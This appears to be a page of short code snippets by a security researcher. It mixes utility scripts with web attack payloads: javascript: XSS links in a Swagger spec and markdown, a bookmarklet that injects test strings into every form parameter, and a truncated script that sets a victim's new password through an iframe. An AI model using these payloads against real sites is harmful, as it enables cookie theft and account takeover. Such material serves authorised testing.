Rhynorater

{
"swagger": "2.0",
"info": {
  "title": "Swagger Sample App",
  "description": "Please to click Terms of service",
  "termsOfService": "javascript:alert(document.cookie)"
  },
  "contact":{ 
    "name": "API Support",
    "url": "javascript:alert(document.cookie)",

Rhynorater

### Keybase proof

I hereby claim:

  * I am rhynorater on github.
  * I am rhynorater (https://keybase.io/rhynorater) on keybase.
  * I have a public key whose fingerprint is AA8E 85A7 69EC F8A7 0FE8  5CF2 AF19 CF4E BEEC A770

To claim this, I am signing this object:

Rhynorater

[Click Me](
javascript:alert`document.domain`)

Rhynorater

#!/bin/bash
# Usage checkms.sh
# domains.txt: file with domains on each line to check
# Output: domains that use O365
# -----
# Usage2 checkms.sh domain.com
# Output: domain if uses 0365, nothing if not
if [ "$#" -eq 1 ]; then
        x=$(curl -s -k "https://login.microsoftonline.com/getuserrealm.srf?login=username@$1&xml=1" | egrep "Federated|Managed")                                                                                  
        if [[ ! -z $x ]]; then

Rhynorater

javascript:(function()%7Bvar j %3D document.getElementsByTagName("input")%3Bif (document.location.href.indexOf("%3F")>-1)%7Bvar l %3D "%26"%3B%7Delse%7Bvar l %3D "%3F"%3B%7Dfor (i%3D0%3Bi<j.length%3Bi%2B%2B)%7Bl%2B%3Dj%5Bi%5D.getAttribute("name")%2B'%3D"><test1234>%26'%7Ddocument.location %3D document.location%2Bl%7D)()

Rhynorater

if [ "$#" -eq 0 ] || [ "$#" -gt 2 ] || [[ $* == *--help* ]] || [[ $* == *-h* ]]; then                                                                                                                              
    echo "Usage ./getValidDNS.sh [output file] [optional: timeout (seconds)]"                                                                                                                                      
    exit 1                                                                                                                                                                                                         
fi                                                                                                                                                                                                                 
                                                                                                                                                                                

Rhynorater

#! /usr/bin/env python3
import pyperclip
import json

contents = pyperclip.paste().replace('[^\\]\\"', '\\\\"')
print(contents)
try:
    c = json.loads(contents)
    pyperclip.copy(json.dumps(c, indent=4))
except Exception as e:

Rhynorater

javascript:document.getElementById("video").defaultPlaybackRate = prompt("Enter your prefered playback rate:");document.getElementById("video").load();

Rhynorater

import json
import requests
import http.cookiejar

# Load from EditThisCookie export file
def loadCookies(jsonFileName):
    x = open(jsonFileName)
    d = json.loads(x.read())
    cookiejar = http.cookiejar.CookieJar()
    for cookie in d:

Rhynorater

<?php
header("Content-Type: application/javascript");
?>
frame=document.createElement("iframe")
frame.addEventListener("load", function() {
  setTimeout(function(){
          //Once the iframe loads, give it 1 second to load the DOM
          frame.contentDocument.getElementById("NewPassword").value="1337H4x0rz!!!"
          //Set new password
          frame.contentDocument.getElementById("ConfirmNewPassword").value="1337H4x0rz!!!"